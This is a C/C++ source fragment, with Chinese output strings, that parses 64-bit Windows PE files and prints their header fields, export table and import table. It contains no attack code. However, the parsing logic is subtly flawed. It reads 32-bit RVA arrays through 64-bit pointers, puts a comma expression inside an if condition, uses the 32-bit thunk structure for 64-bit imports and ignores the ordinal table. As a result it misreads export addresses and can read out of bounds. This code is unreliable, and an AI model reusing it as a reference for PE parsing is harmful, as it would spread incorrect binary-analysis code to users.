void * CPEFile::RvaToPtr(DWORD dwRVA) { PIMAGE_NT_HEADERS32 pNth = GetNtHeader(); return ImageRvaToVa(pNth,m_pFile->ImageBase,dwRVA,NULL); }
VOID ShowPE64Info(char *filename) { PIMAGE_NT_HEADERS64 pinths64; PIMAGE_DOS_HEADER pdih; char *filedata; filedata=LoadFile(filename); pdih=(PIMAGE_DOS_HEADER)filedata; pinths64=(PIMAGE_NT_HEADERS64)(filedata+pdih->e_lfanew); if(pinths64->Signature!=0x00004550) { printf("无效的PE文件!\n"); return ; } if(pinths64->OptionalHeader.Magic!=0x20b) { printf("不是PE32+格式的文件!\n"); return ; } printf("\n"); printf("入口点: %llx\n",pinths64->OptionalHeader.AddressOfEntryPoint); printf("镜像基址: %llx\n",pinths64->OptionalHeader.ImageBase); printf("镜像大小: %llx\n",pinths64->OptionalHeader.SizeOfImage); printf("代码基址: %llx\n",pinths64->OptionalHeader.BaseOfCode); printf("块对齐: %llx\n",pinths64->OptionalHeader.SectionAlignment); printf("文件块对齐: %llx\n",pinths64->OptionalHeader.FileAlignment); printf("子系统: %llx\n",pinths64->OptionalHeader.Subsystem); printf("区段数目: %llx\n",pinths64->FileHeader.NumberOfSections); printf("时间日期标志: %llx\n",pinths64->FileHeader.TimeDateStamp); printf("首部大小: %llx\n",pinths64->OptionalHeader.SizeOfHeaders); printf("特征值: %llx\n",pinths64->FileHeader.Characteristics); printf("校验和: %llx\n",pinths64->OptionalHeader.CheckSum); printf("可选头部大小: %llx\n",pinths64->FileHeader.SizeOfOptionalHeader); printf("RVA 数及大小: %llx\n",pinths64->OptionalHeader.NumberOfRvaAndSizes); getchar(); printf("\n"); printf("输出表:\n"); printf("Ordinal\tRVA\t\tName\n"); PIMAGE_EXPORT_DIRECTORY pied; if(pinths64,pdih,pinths64->OptionalHeader.DataDirectory[0].VirtualAddress==0) goto imp; pied=(PIMAGE_EXPORT_DIRECTORY)ImageRvaToVa((PIMAGE_NT_HEADERS)pinths64,pdih,pinths64->OptionalHeader.DataDirectory[0].VirtualAddress,NULL); DWORD i = 0; DWORD NumberOfNames = pied->NumberOfNames; ULONGLONG **ppdwNames = (ULONGLONG **)pied->AddressOfNames; ppdwNames = (PULONGLONG*)ImageRvaToVa((PIMAGE_NT_HEADERS)pinths64,pdih,(ULONG)ppdwNames,NULL); ULONGLONG **ppdwAddr = (ULONGLONG **)pied->AddressOfFunctions; ppdwAddr = (PULONGLONG*)ImageRvaToVa((PIMAGE_NT_HEADERS)pinths64,pdih,(DWORD)ppdwAddr,NULL); ULONGLONG *ppdwOrdin=(ULONGLONG*)ImageRvaToVa((PIMAGE_NT_HEADERS)pinths64,pdih,(DWORD)pied->AddressOfNameOrdinals,NULL); char* szFun=(PSTR)ImageRvaToVa((PIMAGE_NT_HEADERS)pinths64,pdih,(ULONG)*ppdwNames,NULL); for(i=0; i<NumberOfNames; i++) { printf("%0.4x\t%0.8x\t%s\n",i+1,*ppdwAddr,szFun); szFun=szFun + strlen(szFun)+1; ppdwAddr++; if(i%200==0 && i/200>=1) { printf("{Press [ENTER] to continue...}"); getchar(); } } imp: printf("\n\n输入表:\n"); printf("\tHint\tThunkRVA\tName\n"); PIMAGE_IMPORT_DESCRIPTOR piid; PIMAGE_THUNK_DATA _pThunk=NULL; DWORD dwThunk=NULL; USHORT Hint; if(pinths64->OptionalHeader.DataDirectory[1].VirtualAddress==0) return; piid=(PIMAGE_IMPORT_DESCRIPTOR)ImageRvaToVa((PIMAGE_NT_HEADERS)pinths64,pdih,pinths64->OptionalHeader.DataDirectory[1].VirtualAddress,NULL); for(;piid->Name!=NULL;) { char *szName=(PSTR)ImageRvaToVa((PIMAGE_NT_HEADERS)pinths64, pdih, (ULONG)piid->Name, 0); printf("%s\n",szName); if(piid->OriginalFirstThunk!=0) { dwThunk=piid->OriginalFirstThunk; _pThunk=(PIMAGE_THUNK_DATA)ImageRvaToVa((PIMAGE_NT_HEADERS)pinths64,pdih,(ULONG)piid->OriginalFirstThunk,NULL); } else { dwThunk=piid->FirstThunk; _pThunk=(PIMAGE_THUNK_DATA)ImageRvaToVa((PIMAGE_NT_HEADERS)pinths64,pdih,(ULONG)piid->FirstThunk,NULL); } for(;_pThunk->u1.AddressOfData!=NULL;) { char *szFun=(PSTR)ImageRvaToVa((PIMAGE_NT_HEADERS)pinths64,pdih,(ULONG)(((PIMAGE_IMPORT_BY_NAME)_pThunk->u1.AddressOfData)->Name), 0); if(szFun!=NULL) memcpy(&Hint,szFun-2,2); else Hint=-1; printf("\t%0.4x\t%0.8x\t%s\n",Hint,dwThunk,szFun); dwThunk+=8; _pThunk++; } piid++; printf("{Press [ENTER] to continue...}"); getchar(); } }